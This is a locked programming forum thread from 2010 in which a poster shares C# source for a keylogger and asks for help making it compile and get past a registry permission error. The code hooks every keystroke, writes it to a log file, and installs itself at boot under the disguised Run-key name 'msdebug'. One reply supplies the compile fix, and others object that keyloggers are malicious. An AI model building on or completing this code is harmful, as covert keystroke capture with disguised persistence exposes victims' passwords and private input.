locked
Keylogger code somewhat non functioning RRS feed

  • Question

  • using
     System;
    using
     System.Diagnostics;
    using
     System.Timers;
    using
     System.Windows.Forms;
    using
     System.Runtime.InteropServices;
    using
     System.IO;
    using
     System.Net;
    using
     System.Net.Mail;
    using
     Microsoft.Win32;
    
    namespace
     KeyLogger
    {
        class
     appstart
        {
            public
     static
     string
     path = "C:\\keylog.log"
    ;
            public
     static
     byte
     caps = 0, shift = 0, failed = 0;
    
            // Get it in the registry to get up on system boot up.
    
            public
     static
     void
     startup()
            {
                RegistryKey rkApp = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
    ,true
    );
    
                if
     (rkApp.GetValue("msdebug"
    )==null
    )
                {
                    rkApp.SetValue("msdebug"
    ,Application.ExecutablePath.ToString());
                }
                
                rkApp.Close();
            }
        }
    
        class
     InterceptKeys
        {
            private
     const
     int
     WH_KEYBOARD_LL = 13;
            private
     const
     int
     WM_KEYDOWN = 0x0100;
    
            private
     static
     LowLevelKeyboardProc _proc = HookCallback;
            private
     static
     IntPtr _hookID = IntPtr.Zero;
        
            public
     static
     void
     Main()
            {
                _hookID = SetHook(_proc);
                appstart.startup();
                System.Timers.Timer timer;
                timer = new
     System.Timers.Timer();
                timer.Elapsed += new
     ElapsedEventHandler(appstart.OnTimedEvent);
                timer.AutoReset = true
    ;
                timer.Interval = 300000; // save every 5 minutes [ in ms ]
    
                timer.Start();
                Application.Run();
                GC.KeepAlive(timer);
                UnhookWindowsHookEx(_hookID);
            }
    
            private
     static
     IntPtr SetHook(LowLevelKeyboardProc proc)
            {
                using
     (Process curProcess = Process.GetCurrentProcess())
                using
     (ProcessModule curModule = curProcess.MainModule)
                {
                    return
     SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
                }
            }
        
            private
     delegate
     IntPtr LowLevelKeyboardProc(int
     nCode, Int wParam, int
     lParam);
    
            private
     static
     IntPtr HookCallback(int
     nCode, IntPtr wParam, IntPtr lParam)
            {
                if
     (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
                {
                    StreamWriter sw = File.AppendText(appstart.path);
                    int
     vkCode = Marshal.ReadInt32(lParam);
                    if
     (Keys.Shift == Control.ModifierKeys) appstart.shift = 1;
    
                    switch
     ((Keys)vkCode)
                    {
                        case
     Keys.Space:
                            sw.Write(" "
    );
                            break
    ;
                        case
     Keys.Return:
                            sw.WriteLine(""
    );
                            break
    ;
                        case
     Keys.Back:
                            sw.Write("back"
    );
                            break
    ;
                        case
     Keys.Tab:
                            sw.Write("TAB"
    );
                            break
    ;
                        case
     Keys.D0:
                            if
     (appstart.shift == 0) sw.Write("0"
    );
                            else
     sw.Write(")"
    );
                            break
    ;
                        case
     Keys.D1:
                            if
     (appstart.shift == 0) sw.Write("1"
    );
                            else
     sw.Write("!"
    );
                            break
    ;
                        case
     Keys.D2:
                            if
     (appstart.shift == 0) sw.Write("2"
    );
                            else
     sw.Write("@"
    );
                            break
    ;
                        case
     Keys.D3:
                            if
     (appstart.shift == 0) sw.Write("3"
    );
                            else
     sw.Write("#"
    );
                            break
    ;
                        case
     Keys.D4:
                            if
     (appstart.shift == 0) sw.Write("4"
    );
                            else
     sw.Write("$"
    );
                            break
    ;
                        case
     Keys.D5:
                            if
     (appstart.shift == 0) sw.Write("5"
    );
                            else
     sw.Write("%"
    );
                            break
    ;
                        case
     Keys.D6:
                            if
     (appstart.shift == 0) sw.Write("6"
    );
                            else
     sw.Write("^"
    );
                            break
    ;
                        case
     Keys.D7:
                            if
     (appstart.shift == 0) sw.Write("7"
    );
                            else
     sw.Write("&"
    );
                            break
    ;
                        case
     Keys.D8:
                            if
     (appstart.shift == 0) sw.Write("8"
    );
                            else
     sw.Write("*"
    );
                            break
    ;
                        case
     Keys.D9:
                            if
     (appstart.shift == 0) sw.Write("9"
    );
                            else
     sw.Write("("
    );
                            break
    ;
                        case
     Keys.LShiftKey:
                        case
     Keys.RShiftKey:
                        case
     Keys.LControlKey:
                        case
     Keys.RControlKey:
                        case
     Keys.LMenu:
                        case
     Keys.RMenu:
                        case
     Keys.LWin:
                        case
     Keys.RWin:
                        case
     Keys.Apps:
                            sw.Write(""
    );
                            break
    ;
                        case
     Keys.OemQuestion:
                            if
     (appstart.shift == 0) sw.Write("/"
    );
                            else
     sw.Write("?"
    );
                            break
    ;
                        case
     Keys.OemOpenBrackets:
                            if
     (appstart.shift == 0) sw.Write("["
    );
                            else
     sw.Write("{"
    );
                            break
    ;
                        case
     Keys.OemCloseBrackets:
                            if
     (appstart.shift == 0) sw.Write("]"
    );
                            else
     sw.Write("}"
    );
                            break
    ;
                        case
     Keys.Oem1:
                            if
     (appstart.shift == 0) sw.Write(";"
    );
                            else
     sw.Write(":"
    );
                            break
    ;
                        case
     Keys.Oem7:
                            if
     (appstart.shift == 0) sw.Write("'"
    );
                            else
     sw.Write('"'
    );
                            break
    ;
                        case
     Keys.Oemcomma:
                            if
     (appstart.shift == 0) sw.Write(","
    );
                            else
     sw.Write("<"
    );
                            break
    ;
                        case
     Keys.OemPeriod:
                            if
     (appstart.shift == 0) sw.Write("."
    );
                            else
     sw.Write(">"
    );
                            break
    ;
                        case
     Keys.OemMinus:
                            if
     (appstart.shift == 0) sw.Write("-"
    );
                            else
     sw.Write("_"
    );
                            break
    ;
                        case
     Keys.Oemplus:
                            if
     (appstart.shift == 0) sw.Write("="
    );
                            else
     sw.Write("+"
    );
                            break
    ;
                        case
     Keys.Oemtilde:
                            if
     (appstart.shift == 0) sw.Write("`"
    );
                            else
     sw.Write("~"
    );
                            break
    ;
                        case
     Keys.Oem5:
                            sw.Write("|"
    );
                            break
    ;
                        case
     Keys.Capital:
                            if
     (appstart.caps == 0) appstart.caps = 1;
                            else
     appstart.caps = 0;
                            break
    ;
                        default
    :
                            if
     (appstart.shift == 0 && appstart.caps == 0) sw.Write(((Keys)vkCode).ToString().ToLower());
                            if
     (appstart.shift == 1 && appstart.caps == 0) sw.Write(((Keys)vkCode).ToString().ToUpper());
                            if
     (appstart.shift == 0 && appstart.caps == 1) sw.Write(((Keys)vkCode).ToString().ToUpper());
                            if
     (appstart.shift == 1 && appstart.caps == 1) sw.Write(((Keys)vkCode).ToString().ToLower());
                            break
    ;
                    } //end of switch
    
                    appstart.shift = 0;
                    sw.Close();
                }
                return
     CallNextHookEx(_hookID, nCode, wParam, lParam);
            } //end of HookCallback method 
    
            
            [DllImport("user32.dll"
    ,CharSet = CharSet.Auto, SetLastError = true
    )]
            private
     static
     extern
     IntPtr SetWindowsHookEx(int
     idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint
     dwThreadId);
            [DllImport("user32.dll"
    ,CharSet = CharSet.Auto, SetLastError = true
    )]
            [return
    : MarshalAs(UnmanagedType.Bool)]
            private
     static
     extern
     bool
     UnhookWindowsHookEx(IntPtr hhk);
    
            [DllImport("user32.dll"
    , CharSet = CharSet.Auto, SetLastError = true
    )]
            private
     static
     extern
     IntPtr CallNextHookEx(IntPtr hhk, int
     nCode, IntPtr wParam, IntPtr lParam);
    
            [DllImport("kernel32.dll"
    , CharSet = CharSet.Auto, SetLastError = true
    )]
            private
     static
     extern
     IntPtr GetModuleHandle(string
     lpModuleName);
    
        } // intercept keys class end
    
    }
    
    This is the code I got and modified a bit. Unfortunately now I have a bit of a problem when I try to compile it.
    This is the error I get, Error    1    No overload for 'HookCallback' matches delegate '###.InterceptKeys.LowLevelKeyboardProc'    ###\Program.cs    75    53    ###
    • Moved by Rudedog2 Monday, January 18, 2010 9:06 PM keyloggers are off-topic (From:Visual C# General)
    • Edited by Heinz09 Tuesday, January 19, 2010 10:28 PM Mistake in Code
    Monday, January 18, 2010 8:13 PM

Answers

  • It seems you have either not read, or just don't understand what I wrote.

    I need something to figure out what goes wrong before it all crashes. Yes I know you can use it to be EVIL, but you can also you anything else if the intent is wrong.

    If I was busy with anything "EVIL" I sure as ____ would not use a MS Forum for it.

    Thankfully now everything is working and improving. For the right reasons. If you can't control your moral compass it is not my problem.
    • Marked as answer by Heinz09 Tuesday, January 19, 2010 10:54 PM
    Tuesday, January 19, 2010 10:25 PM

All replies

  • Your delegate and method are mismatched so change
    private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, int lParam);
    
    To
    private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
    

    "Sweet are the uses of adversity,
     Which like the toad, ugly and venomous,
     Wears yet a precious jewel in his head;
     And this our life, exempt from public haunt,
     Finds tongues in trees,
     Books in the running brooks,
     Sermons in stones, and good in everything" - William Shakespeare

    Monday, January 18, 2010 8:22 PM
  • Hi Heinz09,

    Unless I am gravely mistaken, this forum should not be used for guidance in the development of malicious code (e.g., keyloggers).  See this post for more details.

    Brandon

    Brandon Haynes
    brandonhaynes.org
    Monday, January 18, 2010 8:37 PM
  • Thankfully I found the problem, Yasser.Zamani.Iran was very right in his statement. Thank you!

    On a side note I have a bit of a problem with accessing the registry to getting the app to get into the Run.

    According to what I have this is where the problem is.

    RegistryKey rkApp = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);

    It keeps giving me " Requested registry access is not allowed. ".

    I can see the reason for it, but the question now, is there a way around it?

    ~

    As for the Malicious code... Well a hammer to a tradesman is a tool, a rifle to a hunter is his tool, but all of those things can be used by a murderer to get his way.
    I believe that anyone writing malicious code will surely not try to get away with it on a microsoft server.

    The reason for this tool is quite simple, none of our employees ever know what they pressed before it all went downhill, and hit the BSoD.
    Tuesday, January 19, 2010 4:16 PM
  • Why do you make a "KeyLogger" - that is against the IT-law,
    in fact, keyloggers are used by hackers to gain information about
    e-mails and passwords for online accounts and services.

    Do NOT help the OP!

    Please take a moment to read the MSDN TOU:
    http://msdn.microsoft.com/en-us/cc300389.aspx


    Coder24.com
    Tuesday, January 19, 2010 5:31 PM
  • MATERIALS PROVIDED TO MICROSOFT OR POSTED AT ANY MICROSOFT WEB SITE.

    Microsoft does not claim ownership of the materials you provide to Microsoft (including feedback and suggestions) or post, upload, input or submit to any Services or its associated services for review by the general public, or by the members of any public or private community, (each a "Submission" and collectively "Submissions"). However, by posting, uploading, inputting, providing or submitting ("Posting") your Submission you are granting Microsoft, its affiliated companies, necessary sublicensees (including third parties whose products , technologies and services use or interface with any specific parts of a Microsoft software or service that includes the Submission) , without charge, the right  to use, share and commercialize your Submission in any way and for any purpose. You will not give any Submission that is subject to a license that requires Microsoft to license its software or documentation to third parties because we include your Submission in them.

    Microsoft is under no obligation to post or use any Submission you may provide, and Microsoft may remove any Submission at any time in its sole discretion.

    By Posting a Submission you warrant and represent that you own or otherwise control all of the rights to your Submission as described in these TOU including, without limitation, all the rights necessary for you to Post the Submissions.

    In addition to the warranty and representation set forth above, by Posting a Submission that contains images, photographs, pictures or that are otherwise graphical in whole or in part ("Images"), you warrant and represent that (a) you are the copyright owner of such Images, or that the copyright owner of such Images has granted you permission to use such Images or any content and/or images contained in such Images consistent with the manner and purpose of your use and as otherwise permitted by these TOU, (b) you have the rights necessary to grant the licenses and sublicenses described in these TOU, and (c) that each person depicted in such Images, if any, has provided consent to the use of the Images as set forth in these TOU, including, by way of example, and not as a limitation, the distribution, public display and reproduction of such Images. By Posting Images, you are granting (a) to all members of your private community (for each such Images available to members of such private community), and/or (b) to the general public (for each such Images available anywhere on the Services or Web Site, other than a private community), permission to use your Images in connection with the use, as permitted by these TOU, of any of the Services or Web Site, (including, by way of example, and not as a limitation, making prints and gift items which include such Images), and including, without limitation, a non-exclusive, world-wide, royalty-free license to: copy, distribute, transmit, publicly display, publicly perform, reproduce, edit, translate and reformat your Images without having your name attached to such Images, and the right to sublicense such rights to any supplier of the Services. The licenses granted in the preceding sentences for a Images will terminate at the time you completely remove such Images from the Services or Web Site, provided that such termination shall not affect any licenses granted in connection with such Images prior to the time you completely remove such Images. No compensation will be paid with respect to the use of your Images.


    Coder24.com
    Tuesday, January 19, 2010 5:34 PM
  • Keylogger is related to security and is a security risk,
    if we help the OP make this then we are responsible
    for helping somebody else destroye the world, right?

    A keylogger is a program which is designed in real-time
    log key-pressed electric keyboard buttons.

    So the keylogger will log all physical presses that the user
    makes on his/her computer.

    I hate keyloggers and they do not do something good!

    DO NOT HELP THE OP....

    Can a MODERATOR PLease put a locker on this thread.

    Coder24.com
    Tuesday, January 19, 2010 5:37 PM
  • It seems you have either not read, or just don't understand what I wrote.

    I need something to figure out what goes wrong before it all crashes. Yes I know you can use it to be EVIL, but you can also you anything else if the intent is wrong.

    If I was busy with anything "EVIL" I sure as ____ would not use a MS Forum for it.

    Thankfully now everything is working and improving. For the right reasons. If you can't control your moral compass it is not my problem.
    • Marked as answer by Heinz09 Tuesday, January 19, 2010 10:54 PM
    Tuesday, January 19, 2010 10:25 PM